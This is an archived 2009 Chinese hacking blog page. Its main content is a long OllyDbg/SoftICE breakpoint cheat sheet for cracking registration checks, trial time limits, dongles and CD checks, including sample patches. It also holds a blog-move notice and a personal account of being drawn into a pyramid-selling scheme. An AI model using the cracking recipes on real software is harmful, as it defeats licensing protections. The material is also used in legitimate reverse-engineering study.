☆Obaby's H4cking W0rld☆

本博客停止更新，请访问新博客-火星黑客研究院

2009-12-15T15:33:00.003+08:00

由于共产党的GFW对blogger的封锁，现在维护这个博客颇为困难。故停止本博客的更新，需要更新的文章请访问我现在的博客

火星黑客研究院

http://www.h4ck.org.cn

以下为网站截图：

版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

上兴远程控制20090701

2009-07-20T12:45:00.002+08:00

版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

OD常用断点 ^_^ 很全很全

2009-07-18T20:17:00.000+08:00

常用断点（1）

拦截窗口：
bp CreateWindow 创建窗口
bp CreateWindowEx(A) 创建窗口
bp ShowWindow 显示窗口
bp UpdateWindow 更新窗口
bp GetWindowText(A) 获取窗口文本

拦截消息框：
bp MessageBox(A) 创建消息框
bp MessageBoxExA 创建消息框
bp MessageBoxIndirect(A) 创建定制消息框
bp IsDialogMessageW

拦截警告声：
bp MessageBeep 发出系统警告声(如果没有声卡就直接驱动系统喇叭发声)

拦截对话框：
bp DialogBox 创建模态对话框
bp DialogBoxParam(A) 创建模态对话框
bp DialogBoxIndirect 创建模态对话框
bp DialogBoxIndirectParam(A) 创建模态对话框
bp CreateDialog 创建非模态对话框
bp CreateDialogParam(A) 创建非模态对话框
bp CreateDialogIndirect 创建非模态对话框
bp CreateDialogIndirectParam(A) 创建非模态对话框
bp GetDlgItemText(A) 获取对话框文本
bp GetDlgItemInt 获取对话框整数值

拦截剪贴板：
bp GetClipboardData 获取剪贴板数据

拦截注册表：
bp RegOpenKey(A) 打开子健
bp RegOpenKeyEx 打开子健
bp RegQueryValue(A) 查找子健
bp RegQueryValueEx 查找子健
bp RegSetValue(A) 设置子健
bp RegSetValueEx(A) 设置子健

功能限制拦截断点：
bp EnableMenuItem 禁止或允许菜单项
bp EnableWindow 禁止或允许窗口

拦截时间：
bp GetLocalTime 获取本地时间
bp GetSystemTime 获取系统时间
bp GetFileTime 获取文件时间
bp GetTickCount 获得自系统成功启动以来所经历的毫秒数
bp GetCurrentTime 获取当前时间（16位）
bp SetTimer 创建定时器
bp TimerProc 定时器超时回调函数
GetDlgItemInt 得指定输入框整数值
GetDlgItemText 得指定输入框输入字符串
GetDlgItemTextA 得指定输入框输入字符串

拦截文件：
bp CreateFileA 创建或打开文件 (32位)
bp OpenFile 打开文件 (32位)
bp ReadFile 读文件 (32位)
bp WriteFile 写文件 (32位)
GetModuleFileNameA
GetFileSize
Setfilepointer
fileopen
FindFirstFileA
ReadFile

拦截驱动器：
bp GetDriveTypeA 获取磁盘驱动器类型
bp GetLogicalDrives 获取逻辑驱动器符号
bp GetLogicalDriveStringsA 获取当前所有逻辑驱动器的根驱动器路径

★★VB程序专用断点★★

文件长度：RtcFileLen
bp __vbaFreeStr 对付VB程序重启验证
bp __vbaStrCmp 比较字符串是否相等
bp __vbaStrComp 比较字符串是否相等
bp __vbaVarTstNe 比较变量是否不相等
bp __vbaVarTstEq 比较变量是否相等
bp __vbaStrCopy 复制字符串
bp __vbaStrMove 移动字符串
bp MultiByteToWideChar ANSI字符串转换成Unicode字符串
bp WideCharToMultiByte Unicode字符串转换成ANSI字符串

=============== ================

密码常用中断
Hmemcpy (win9x专用)
GetDlgItemTextA
GetDlgItemInt
vb:
getvolumeinformationa 　

vbastrcomp (trw)
Bpx __vbaStrComp (记得是两个 '_')
MSVBVM60!_vbastrcomp|sofice
MSVBVM50! |　

VBAI4STR　

Ctrl+D
bpx msvbvm60!__vbastrcomp do "d *(esp+0c)"(softice)
按几次F5出册码出来了。
bpx regqueryvalueexa do "d esp－>8"(trw)　

vbaVarTstEq 判断是否注册的函数
(0042932F 66898580FEFFFF mov word ptr [ebp+FFFFFE80], ax
改为0042932F 66898580FEFFFF mov word ptr [ebp+FFFFFE80], bx)

时间常用中断
GetSystemTime
GetLocalTime
GetTickCount
vb:
rtcGetPresentDate //取得当前日期　

杀窗常用中断
Lockmytask (win9x专用)
bp ExitProcess 退出进程
DestroyWindow
mouse_event (鼠标中断)
postquitmessage (Cracking足彩xp,很有用^_^)
vb:
_rtcMsgBox　

ini文件内容常用中断
GetPrivateProfileStringA
GetPrivateProfileProfileInt　

key文件:
getprivateprofileint
ReadFile
CreateFileA　

注册表常用中断
RegQueryvalueA
RegQueryvalueExA　

狗加密中断
BPIO -h 278 R
BPIO -h 378 R 　

其它常用函数断点
CreateFileA (读狗驱动程序),
DeviceIOControl,
FreeEnvironmentStringsA (对付HASP非常有效).
Prestochangoselector (16-bit HASP's), '7242' 查找字符串 (对付圣天诺).具体含义参考下面的范例。　

光盘破解中断
16:
getvolumeinformation
getdrivetype
int 2fh (dos)
32:
GetDriveTypeA
GetFullPathNameA
GetWindowsDirectoryA　

读磁盘中断
GETLASTERROR 返回扩充出错代码　

限制中断
EnableMenuItem 允许、禁止或变灰指定的菜单条目
EnableWindow 允许或禁止鼠标和键盘控制指定窗口和条目（禁止时菜单变灰）　

不知道软盘中断是什么了？还有其它特殊中断，不知道其他朋友可否说一下了？
如ockmytask and mouse_event，这些就不是api32函数？
win9x 与 win2k进行破解，以上中断有部分已经不能用了？
不知道在win2k上，以上常用中断函数是什么了？
也就是问密码、时间、窗口、ini、key、注册表、加密狗、光盘、软盘、限制等！
了解常用的中断，对破解分析可以做到事半功倍！
请大家说一下！还有如何破解了某个软件时，一重启就打回原形？
不知道下什么中断了？可以分为三种情况：
1.比较可能在注册表中
2.比较在特殊文件(*.key *.ini *.dat等)
3.比较在程序中，没有任何错误提示或者反译也找不到明显字符(这个就是我想问的)　

还有一个是最难的，就是去掉水印！
也可以三种情况：
A.水印是位图文件(bitblt,creatBITMAP等位图函数)
B.水印是明显字符(反译分析)
C.水印不是明显字符(如：This a demo!它只是显示在另一个制作文件上,可是*.htm *.exe等)
C.才是最难搞，也是很多人想知道的！包括我在内。不知道高手们有何提示了？　

广告条：
可以分两种情况:
A.从创建窗口进手,可以用到movewindow或者其它窗口函数!
B.从位图进手,也可以用到bitblt或者其它位图函数!
最后可以借助一些现有工具(如:api27,vwindset,freespy之类的工具)　

葡萄虽无树，藤生棚中秧。
人处凡尘中，岂不惹尘埃?　

小球[CCG]
那要看是在哪作的标记，通常是在注册表中留下信息！
在softice中就要用bpx regqueryvalueexa do "d esp->8"来中断看看，
在trw中要用bpx regqueryvalueexa do "d*(esp+8)"来中断看看。
还有的是在本目录下留下注册信息，常见的有.dat .ini .dll等等，
我是用bpx readfile来中断的，还有的是在windows目录下留下注册信息。
你可以借助专用的工具帮助你查看，入filemon等！　

vb:　

1、__vbaVarTstNe //比较两个变量是否不相等
2、rtcR8ValFromBstr //把字符串转换成浮点数
3、rtcMsgBox 显示一信息对话框
4、rtcBeep //让扬声器叫唤
5、rtcGetPresentDate //取得当前日期　

针对字串:
__vbaStrComp
__vbaStrCmp
__vbaStrCompVar
__vbaStrLike
__vbaStrTextComp
__vbaStrTextLike
针对变量:
__vbaVarCompEq
__vbaVarCompLe
__vbaVarCompLt
__vbaVarCompGe
__vbaVarCompGt
__vbaVarCompNe 　

常用断点（2）

VB的指针:
THROW 　

VB DLL还调用了oleauto32.dll中的部分函数。oleauto32.dll是个通用的proxy/stub DLL，其每个函数的原型在中定义，并在MSDN中有详细描述。这也有助于理解VB DLL中的函数的作用。　

举例：　

LEA EAX, [EBP-58]
PUSH EAX
CALL [MSVBVM60!__vbaI4Var] 　

执行call之前敲dd eax+8，得到的值为3；
执行完call之后，eax = 3
从而可知__vbaI4Var的作用是将一个VARIANT转换为I4（即一个长整数）。　

__vbaVarTstNe似乎是用来进行自校验的，正常情况下返回值为0。
已知适用的软件有：网络三国智能机器人、音乐贺卡厂。当这两个软件被脱壳后都回出错，网络三国智能机器人会产生非法*作，而音乐贺卡厂会告诉你是非法拷贝，通过修改__vbaVarTstNe的返回值都可让它们正常运行。
所以当您遇到一个VB软件，脱壳后无法正常运行，而又找不出其它问题时，可试试拦截这个函数，说不定会有用哦。8-）　

API不太知道,也许可以通过BIOS在98平台上读写扇区,不过在2000/NT下可以通过内黑ATAPI,HAL写扇区
machoman[CCG]
bpx WRITE_PORT_BUFFER_USHORT
NT/2000下这个断点,当edx=1f0h,时,可以看见EDI地址内数据为扇区位置数据,必须先在winice.dat 中装入hal.sys 详细内容看ATAPI手册　

补充篇:
关于对VB程序和时间限制程序的断点
CrackerABC
先给出修改能正确反编译VB程序的W32DASM的地址：
======================
offsets 0x16B6C-0x16B6D 　

修改机器码为： 98 F4
====================== 　

VB程序的跟踪断点：　

============
MultiByteToWideChar,
rtcR8ValFromBstr,
WideCharToMultiByte,
__vbaStrCmp
__vbaStrComp
__vbaStrCopy
__vbaStrMove
__vbaVarTstNe
rtcBeep
rtcGetPresentDate (时间API)
rtcMsgBox
========= 　

时间限制断点：　

================
CompareFileTime
GetLocalTime
GetSystemTime
GetTimeZoneInformation
msvcrt.diffTime()
msvcrt.Time()
================ 　

一般处理

bpx hmemcpy
bpx MessageBox
bpx MessageBoxExA
bpx MessageBeep
bpx SendMessage　

bpx GetDlgItemText
bpx GetDlgItemInt
bpx GetWindowText
bpx GetWindowWord
bpx GetWindowInt
bpx DialogBoxParamA
bpx CreateWindow
bpx CreateWindowEx
bpx ShowWindow
bpx UpdateWindow　

bmsg xxxx wm_move
bmsg xxxx wm_gettext
bmsg xxxx wm_command
bmsg xxxx wm_activate 　

时间相关
bpint 21 if ah==2A (DOS)
bpx GetLocalTime
bpx GetFileTime
bpx GetSystemtime 　

CD-ROM 或磁盘相关
bpint 13 if ah==2 (DOS)
bpint 13 if ah==3 (DOS)
bpint 13 if ah==4 (DOS)
bpx GetFileAttributesA
bpx GetFileSize
bpx GetDriveType
bpx GetLastError
bpx ReadFile
bpio -h (Your CD-ROM Port Address) R 　

软件狗相关
bpio -h 278 R
bpio -h 378 R 　

键盘输入相关
bpint 16 if ah==0 (DOS)
bpint 21 if ah==0xA (DOS) 　

文件访问相关
bpint 21 if ah==3dh (DOS)
bpint 31 if ah==3fh (DOS)
bpint 21 if ah==3dh (DOS)
bpx ReadFile
bpx WriteFile
bpx CreateFile
bpx SetFilePointer
bpx GetSystemDirectory 　

INI 初始化文件相关
bpx GetPrivateProfileString
bpx GetPrivateProfileInt
bpx WritePrivateProfileString
bpx WritePrivateProfileInt 　

注册表相关
bpx RegCreateKey
bpx RegDeleteKey
bpx RegQueryvalue
bpx RegCloseKey
bpx RegOpenKey 　

注册标志相关
bpx cs:eip if EAX==0 　

内存标准相关
bpmb cs:eip rw if 0x30:0x45AA==0 　

显示相关
bpx 0x30:0x45AA do "d 0x30:0x44BB"
bpx CS:0x66CC do "? EAX"

查找窗口
FindWindowA

BP SetFilePointer

bpx hmemcpy ;破解万能断点，拦截内存拷贝动作(注意：Win9x专用断点)
bpx Lockmytask ;当你用其它断点都无效时可以试一下，这个断点拦截按键的动作(Win9x专用)

实在找不到断点可以试下面的方法：

bmsg handle wm_gettext ;拦截注册码（handle为对应窗口的句柄）
bmsg handle wm_command ;拦截OK按钮（handle为对应窗口的句柄）

拦截窗口：

bpx CreateWindow ;创建窗口
bpx CreateWindowEx(A/W) ;创建窗口
bpx ShowWindow ;显示窗口
bpx UpdateWindow ;更新窗口
bpx GetWindowText(A/W) ;获取窗口文本

拦截消息框：

bpx MessageBox(A/W) ;创建消息框
bpx MessageBoxExA(W) ;创建消息框
bpx MessageBoxIndirect(A/W) ;创建定制消息框

拦截警告声：

bpx MessageBeep ;发出系统警告声(如果没有声卡就直接驱动系统喇叭发声)

拦截对话框：

bpx DialogBox ;创建模态对话框
bpx DialogBoxParam(A/W) ;创建模态对话框
bpx DialogBoxIndirect ;创建模态对话框
bpx DialogBoxIndirectParam(A/W) ;创建模态对话框
bpx CreateDialog ;创建非模态对话框
bpx CreateDialogParam(A/W) ;创建非模态对话框
bpx CreateDialogIndirect ;创建非模态对话框
bpx CreateDialogIndirectParam(A/W) ;创建非模态对话框
bpx GetDlgItemText(A/W) ;获取对话框文本
bpx GetDlgItemInt ;获取对话框整数值

拦截剪贴板：

bpx GetClipboardData ;获取剪贴板数据

拦截注册表：

bpx RegOpenKey(A/W) ;打开子健 ( 例：bpx RegOpenKey(A) if *(esp->8)=='****' )
bpx RegOpenKeyExA(W) ;打开子健 ( 例：bpx RegOpenKeyEx if *(esp->8)=='****' )
bpx RegQueryValue(A/W) ;查找子健 ( 例：bpx RegQueryValue(A) if *(esp->8)=='****' )
bpx RegQueryValueEx(A/W) ;查找子健 ( 例：bpx RegQueryValueEx if *(esp->8)=='****' )
bpx RegSetValue(A/W) ;设置子健 ( 例：bpx RegSetValue(A) if *(esp->8)=='****' )
bpx RegSetValueEx(A/W) ;设置子健 ( 例：bpx RegSetValueEx(A) if *(esp->8)=='****' )

注意:'****'为指定子键名的前4个字符，如子键为'Regcode'，则'****'= 'Regc'

功能限制拦截断点：

bpx EnableMenuItem ;禁止或允许菜单项
bpx EnableWindow ;禁止或允许窗口
bmsg hMenu wm_command ;拦截菜单按键事件，其中hMenu为菜单句柄
bpx K32Thk1632Prolog ;配合bmsg hMenu wm_command使用，可以通过这个断点进入菜单处理程序
应用示例：
CALL [KERNEL32!K32Thk1632Prolog]
CALL [......] <-- 由此跟踪进入菜单处理程序
CALL [KERNEL32!K32Thk1632Epilog]

拦截时间：

bpx GetLocalTime ;获取本地时间
bpx GetSystemTime ;获取系统时间
bpx GetFileTime ;获取文件时间
bpx GetTickCount ;获得自系统成功启动以来所经历的毫秒数
bpx GetCurrentTime ;获取当前时间（16位）
bpx SetTimer ;创建定时器
bpx TimerProc ;定时器超时回调函数

拦截文件：

bpx CreateFileA(W) ;创建或打开文件 (32位)
bpx OpenFile ;打开文件 (32位)
bpx ReadFile ;读文件 (32位)
bpx WriteFile ;写文件 (32位)
bpx _lcreat ;创建或打开文件 (16位)
bpx _lopen ;打开文件 (16位)
bpx _lread ;读文件 (16位)
bpx _lwrite ;写文件 (16位)
bpx _hread ;读文件 (16位)
bpx _hwrite ;写文件 (16位)

拦截驱动器：

bpx GetDrivetype(A/W) ;获取磁盘驱动器类型
bpx GetLogicalDrives ;获取逻辑驱动器符号
bpx GetLogicalDriveStringsA(W) ;获取当前所有逻辑驱动器的根驱动器路径

拦截狗：

bpio -h 378(或278、3BC) R ;378、278、3BC是并行打印端口
bpio -h 3F8(或2F8、3E8、2E8) R ;3F8、2F8、3E8、2E8是串行端口

VB程序专用断点：

bpx msvbvm60!rtcMsgBox
bpx msvbvm60!__vbaStrCmp
bpx msvbvm60!__vbaStrComp
bpx msvbvm60!__vbaStrCompVar
bpx msvbvm60!__vbaStrTextCmp
bpx msvbvm60!__vbaFileOpen
bpx msvbvm60!__vbaInputFile
bpx msvbvm60!__vbaFileSeek
bpx msvbvm60!__vbaWriteFile
bpx msvbvm60!__vbaFileClose
bpx msvbvm60!rtcFileAttributes
bpx msvbvm60!rtcFileDateTime
bpx msvbvm60!rtcFileLen
bpx msvbvm60!rtcFileLength
bpx msvbvm60!__vbaVarInt
bpx msvbvm60!__vbaVarCmpGe
bpx msvbvm60!__vbaVarCmpGt
bpx msvbvm60!__vbaVarCmpLe
bpx msvbvm60!__vbaVarCmpLt
bpx msvbvm60!__vbaVarCmpNe
bpx msvbvm60!__vbaVarTextCmpEq
bpx msvbvm60!__vbaVarTextCmpGe
bpx msvbvm60!__vbaVarTextCmpGt
bpx msvbvm60!__vbaVarTextCmpLe
bpx msvbvm60!__vbaVarTextCmpLt
bpx msvbvm60!__vbaVarTextCmpNe
bpx msvbvm60!__vbaVarTextTstEq
bpx msvbvm60!__vbaVarTextTstGe
bpx msvbvm60!__vbaVarTextTstGt
bpx msvbvm60!__vbaVarTextTstLe
bpx msvbvm60!__vbaVarTextTstLt
bpx msvbvm60!__vbaVarTextTstNe
bpx msvbvm60!__vbaVarTstEq
bpx msvbvm60!__vbaVarTstGe
bpx msvbvm60!__vbaVarTstGt
bpx msvbvm60!__vbaVarTstLe
bpx msvbvm60!__vbaVarTstLt
bpx msvbvm60!__vbaVarTstNe

注意：VB程序仍然可以使用普通API函数，只要函数“最终”CALL了这个函数
上面的断点对应VB6程序，如果是VB5程序则将msvbvm60改成msvbvm50即可

版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

襄樊之行，龙潭虎穴

2009-07-01T23:30:00.000+08:00

诚然开始的的时候并没有意识到去湖北襄樊最后是这样的结局。多少有些意外，出现这种状况的原因在于自己的惰性，本来以为湖北是万全之旅，然而事情不是想象的那样。26号做的k208离开潍坊，到济南的时候给老婆打电话才知道她周六周日休班，如果不是买的卧铺我就会在济南停留一天。改签27号的车票，那样可以在济南停留一天，然而卧铺在改签之后剩余的卧铺就作废了。于是没有留下来，只是她说内心很不安，感觉我不好。或许是女孩子特有的直觉吧，只是当时我不知道这意味着什么。
取得旅程还算顺利，没有什么大的波折。到了之后接站也算顺利。中午没有吃饭，在小田接到我之后，发现还有一个人。看起来文质彬彬的样子。以为是他的同事，不过也没猜错，试试证明真的是，不过当时不知道是怎么样的同事。在附近的餐馆马马虎虎吃了点。然后直接到了他的住处，一个小区的八楼，后来才知道那个小区叫做三元小区。进了小区直接到了最里面的楼房，爬上八楼。进去之后发现住处总体来说还是挺大的。里面还有两男两女。简单的介绍了一下，也算是打探到了一些东西。其中五个山东的，一个是青海的。另外里面两个据说是大学生，后来的打探发现可能真的是，不过是不是只有他们自己知道。我是无从考证的。
休息了一会儿他们说打牌，如果按照正常人的思维，即使是公司来人来两个人礼节性的接待下也就可以了。那么多人都在住的地方呆着感觉有点不可思议。到了下午说的不是上班而是打牌于是有了更进一步的怀疑。他们说打也不好不打，最后决定斗地主。他们的态度倒是过分热情。玩了近两个小时的牌后，小田说出去下，而至于做什么我不清楚，刚开始以为是出去玩，因为还有两个人一个男人和一个女人。那个男人姓张，那个女人姓王，从他们口中得知，那个女人叫做王海鸥，而男人则貌似是叫做德福。在出租车上乱侃了一通，知道襄樊有几个好玩的地方，古襄阳，诸葛亮广场，还有汉江，如果没有记错的话。后来下了出租车又走了大约15-20分钟的样子到了一个小区。刚开始不明白为什么要这么做。后来才想明白是为了不让我把路线记得太清楚。即使是打的也是直说方向不说目的地，到了地方直接停车。然后步行穿过很多小区，最后又来到了一个楼上，大约是八楼，但是不是顶层。

进去之后有个女人出来接待的。我不知道是不是可以安排还是那些人真的出了姓王的就是姓张的，小田介绍的时候说的要不是王经理就是张经理。这是后话，暂且提下，后面就不说了，因为很多人的姓都是这两个。进去之后似乎明白要做什么了，只是当时还不敢确定。因为和通常的传销的阵势是不同的。感觉气氛比较温和，不想传说中的传销那么暴力。介绍完之后那个王经理开始拿出五个杯子然后在里面倒水，四个分给我们四人，剩余的一个她自己握在手里。然后就问我，你知道我们是做什么么。我说不知道。然后她就就开始给我讲，并不说做什么，只是故作高深的样子和我讲一些国家的事情。甚至包括了中国经济的发展改革史。然而自始至终都没有提到做什么。最后终于提到，我们做的项目是国家支持的。听的太多了，只记得当时说了什么国家支持，低调宣传，宏观调控。之类的东西，说的东西都是很片面的东西，然而如果真的听的话似乎也有些道理。由此可见那些人也不是吃白饭的，可谓是把心理学研究透了。后面说了一些这个工程的好话。最后说这个东西是和西部大开发联系在一起的，为了解决现在的就业问题，连最新的金融危机和大学生就业困难都提到了。说了为了解决四类人的就业问题，农村闲散劳动力，失业人员，复员军人，毕业大学生。那天天气很热，感觉暴风雨要来了。闷的异常。偌大的房间里面开个风扇感觉到的只是热风。那个女人在汗流浃背的讲，感觉有些滑稽。然而我知道后面的路不会那么简单。肯定有更多的问题。那是我到襄樊的第一天的下午，中午火车到了襄樊，下午就开始了这么一出，可谓处心积虑和急功近利。最后提到的是新入的成员可以每个月得到1k的收入，经理可以月入万元，高级业务员可以收入六位数。这就是最后的提到的内容，然而至于做什么则是绝口不提的。直说这个事儿，让我考察这个事儿。看看到底是不是好事儿，用自己的大脑分析这个事儿。然后手机就响了，我感觉那是一个信号，可以到这里就结束了，至于是不是闹钟或许是所谓的同事打的电话我就不得而知了。然后他就说我们就到这里吧。然而我知道我的处境不再那么单纯了。不是自己想象的样子，所谓的物流不过是个幌子。骗人的把戏而已。
出来之后并没有回住处，他们也不打算回住处。因为走得不是回去的路，如果回去的话那条路是最近的，这完全是凭直觉。走得是完全不同的路。走了大约半个小时左右到了另外的小区，然后又是爬楼，这次不是很高，只是四楼而已，同样还是一个女人，听口音貌似是四川人。后来她自己介绍也说自己是四川人。真假就不知道了。还是同样的做法，每人一个杯子。介绍了一下自己之后就开始了另外的介绍。问我是不是很生气。我说不生气，就是太热了，如果不热的话我一点也不生气。她说你肯定很生气，问我和小田什么关系，我说她说我姐的朋友。她继续说，你现在肯定生气，算是你哥吧，你哥把你骗来也是为了让你了解这个事儿。如果他说实话的话你也不会来对么？我说是，然后她继续说，这个事儿啊，是不是好事，值不值得做你自己考察下。我们呢可以用五到七天的时间来考察这个事儿。看是不是好事儿。现在我们国家有多少次大的经济改革你知道么？你不经常看电视吧？我说不经常看。她继续，你对中国的近代经济发展了解么？我说知道一些。然后他就开始说，从建国之初的计划经济，到后来的改革开放，然后是九几年的无息贷款？（有这么回事么？我没查也不知道）后来是股票，还有什么下海，到后来的连锁经营，问我连锁经营知道吧？我说知道。当时她并没说什么连锁的事情，而是向我解释一种什么所谓的新的经济模式，说中国现在的贪官很多啊，假货很多啊。我说是啊，是很多挺讨厌人的。然后他就说了我们现在要推广的就是一种先进的经济模式。她给我打了个比方，说生产杯子，经过市场调查需要1w个杯子。有两个工厂生产，我和她，他问我会生产多少。我说生产一万个，（饶我我就和你装傻吧）。她问为什么，我说我可以快生产啊，快卖可以卖出大于5k，想多挣点啊。她就继续说，市场只需要5k个，那剩下的杯子怎么办呢？需要村仓库吧？我说是，那么她就继续说，这样的话仓库需要租金，并且生产的东西销售不出去，成了垃圾，杯子更新换代，先进的出来了，同样面临同样的可能库存的危险。我说是啊。他就说，那么我们现在新的经济模式就来了，就是我们打破这种传统的格局。我们改变人们的消费意识。我们可以先付定金后然后生产，保质保量。这样就可以生产多少卖多少了，省了很多的麻烦。后来热的不行了我就不说话了单纯的点头。什么都点头。又说了很多我也不记得了。让你以为把我唬住了吧。反正我也没什么损失。后来他的手机也响了，坑是是时间到了，或者是他感觉把我骗的差不多了说，然后就说我们今天就到这里吧。我说好啊，走得时候我还跟她说了声再见。
回家的路上我不想说话，一是因为我真的很热很渴。二是我现在想怎么怎么离开这里。毕竟每次出来自己是不可能的。他们也是有意无意的和我说话，乱起八遭的说我就答应点。胡说八道点。反正你们也不知道真假。互相忽悠吧。
第一天的洗脑算是到此结束。晚上回去吃饭，发现每次他们做的饭都还算丰盛。既然来了就不能饿死，就算是有毒药也要吃，如果有毒药不吃的话也是走不了的。好在他们没有做那样的事情。回去之后吃完饭给二姐发了个消息，我说小田撒谎。当时没有什么反应，我知道二姐欠于稳重可能会做出意料之外的事情。于是马上给大姐发消息说不要打电话，不要把事情弄得太僵，那样我没法处理。还是大姐聪明，马上就明白了什么事情。晚上吃完饭还是陪他们打牌。打了一段时间后小田说去诸葛亮广场，去就去吧，龙潭虎穴都进来了也不怕那些啦。和他们几个人下来后走了很长一段路后打车到了诸葛亮广场。那个男人说要充电话费，让我和那两个女生先一起过去。我自然不会跑，因为我的东西还在他们的住处，他们很明白。也就不怕我跑。于是我陪那两个女生去看小孩子条拉丁舞。我自然也不会在大街上乱喊，我说有人绑架我传销只会让别人以为我是神经病。那就乖乖的陪他们看跳舞的吧，过了大约半小时后所有人都到了。我退到了拉丁舞围观圈子外。小田说去诸葛亮那里吧。我说好啊，于是上了雕塑的台子。在那里坐了没几分钟二姐果然给小田打电话了。小田说让我接电话我自然知道是自己发的短信有效果了，只是这样的效果不是我希望的。不过是给我增加麻烦罢了。我只好接过来走了大约十几米后才和二姐说话，我按照我的想法说了之后二姐还不信，不信他们做的是这样的勾当，说让我再看看，现在刚去还不明白。我说没什么我自己会搞清楚的。既然不信我也不能说什么，简单的说了后挂断了电话。把手机还给小田他问我说什么了，为什么打电话。我说只是感觉工作不合适，和家里说了下。我说现在没事了家里放心了。他也就没再说什么，只是说这个事儿啊，考察需要几天的时间，希望你能坚持下来。这个事儿啊，需要的是有耐心，有胆量有魄力的人才能成功的。我说是啊。任何事情都这样。后来另外两个男人说去喷泉那边我就去了。看了会儿喷泉，虽然到处是水，但是还是很热。那两个男人都在拍照。我感觉很热。然后就退出了那个圈子，他们出来说去下面。也只好跟着他们去。有人在唱歌，在那里坐了大约10分钟所有的人都过去了，说去打台球。去就去吧，不打白不打，还会让人起疑心。打了三局。赢了两局。由于太热了出汗太严重，手上架杆的地方的皮都磨破了。没办法，坚持打完了，后来他们在打。我去那两个女生的地方坐了会儿，海鸥问我吃雪糕么，我说不吃，但是她还是去买了。最后在那里做到他们打完台球，我把一瓶子矿泉水都倒到了手上感觉没那么痛了。终于第一天的半天算是熬过来了。
晚上回去之后马上给女友发了个消息，我说现在的处境可能有点问题，如果超过二十四小时没有我的消息就报警。我把现在的大体的位置和她说了之后。内心算是稍微轻松了一些，不过我也知道这样是把所有的压力都转嫁到了自己最爱的人的身上。把大体的情况和她说了下，告诉她在每条消息前面我会做特殊的标记。如果不是的话就报警吧。为了防止出现其他的情况清空了所有的短信和所有的通话记录以及发送报告。（女友说是中午发的消息，那几天想到太多了，很多的事情感觉记忆的不清楚）然后去用凉水冲了一下，感觉凉快了一些，就去睡觉了。可能是太困了，我知道睡着了他们做什么也阻止不了。索性就好好睡吧。反正都无能为力的。一切从长计议。
第二天其实很早就醒了，只是不能起来，看他们在我起床之前都说些什么，其实我知道要想听到什么也是不可能的，基本的戒备心还是有的。虽然醒了还是躺在那里，知道小田来叫我起床吃饭。我假装懒懒散散的起来，然后去洗了一把脸。跟他们吃饭，还是同样的布局，所有的人都还是那么客气。客气的有些可怕。不管了，吃饱了再说。吃完了之后还是陪他们打牌。我怀疑他们每天的生活就是这么过的。同样大约是九点左右小田又说了。说我们出去转转吧。我也不用问去哪里了，结果是很明白的。去就去吧。
同样还是左转右绕的到了一个小区，汗流浃背的爬上了一个九楼。我不知道为什么都在这么高的楼层，不过那里还算是凉快一些，多少有一些风的。可能暴风雨就要来了。
同样的布局，同样的动作，简单的介绍后开始了新的一轮洗脑运动，他开始说了，说，你知道我们做什么么？我们是怎么样的性质，国家给予什么样的关注和支持。我说不知道，迷迷糊糊的什么都不知道。然后他终于揭开了最后的面纱，说我们做的是连锁销售，我就问卖什么呢？他说我们不卖东西，我们要做的是推广这种模式推动西部大开发的进行，为国家尽自己的一份力量。我们做的是国家支持的工作，但是国家低调宣传，所以你从电视上报纸上是看不到什么报道的。这么做也是为了保持国家的安定，你想如果电视上说现在做连锁销售可以挣六位数，那么，那些有工作的人还会尽职与自己的本质工作么？医生知道这样的工作可以挣六位数还未救死扶伤，还会给人看病么？他就会先去挣六位数，让病人等着，等他挣到六位数他可能就去做其他的工作了而不是再做医生。如果让士兵知道可以挣六位数那么还会保家卫国么？我说是啊，是啊。然后说这么低调宣传低调做人为的也是我们的人身安全，现在很多的小混混吧，很多的坏人吧。什么地方都有吧，如果别人知道干这个可以挣到六位数绑架你怎么办？如果那样的话我们挣钱还有什么用，六位数还有什么用，我们自己都无法消受。我还是一味的点头，管他是不是呢。
后来还说了一些什么关于国家对于这个东西的政策，鼓励发展，低调宣传，宏观调控。然后说什么鼓励发展，就是要私下的宣传，不要大张旗鼓的，然后就说了一些什么国家领导人的话，记得比较清楚的一些包括国家主席和总理的，说什么去一个什么地方视察，说国家领导人说了这么一句话：让那么贫困县的地方去南方，包工程，干物流，或者做其他的事情。后来才知道这些说的工作都是骗人的把戏，不过是诱骗自己的亲戚朋友来从事所谓的这个事儿的一些借口。还有说什么一些的忘了，如果没有意外的话从其他的连锁销售的地方传出来的也是这些内容相差无几。然后问我什么学历我说本科，他就说什么对于宏观调控你应该很清楚我就不说了。不过说实话那天并没休息好，他说的时候都要睡着了，后来说的什么都记不清楚了。同样的手机响了之后她说今天上午到这里，终于又结束了一次。偶尔会给女友和家人发几条消息说明下状况。
中午回去之后还是陪他们打牌，趁吃完午饭的时候研究了一下地形，看看有没逃跑的路线。研究了一下发现没有那么糟即使被关起来，还有几条电缆可以通到天台，爬到楼顶就可以从楼梯逃走了。研究好了地形后内心的担忧也算是少了一些。吃过午饭后，大约一点左右大姐打来电话说女友去家里了让我回去。我说知道了，后来妈妈和小田又说了一些至于是什么我不知道，因为我来这里本身就是对小田的信任。只是他骗了所有人。妈妈说让他和我去买当天的车票。我知道肯定当天是不可能的。后来可能他感觉这么耗下去可能会出问题，毕竟我的手机还在我手里，我完全可以报警或者做其他的。他感觉靠下去不是办法。说问我下去还去听么，我说不去了。我先去买票。他没办法只得和我去买票。买的是第二天的火车票一点四十六。回去的时候同样没有走原来的路，我已经明白，今天下午的洗脑还是必须要进行的，没有选择的余地，只不过这次只有我们两个人，另外的两个没有去。转了一个大圈后又到了一个小区，这次又是一个女人。据说是小学没念完。
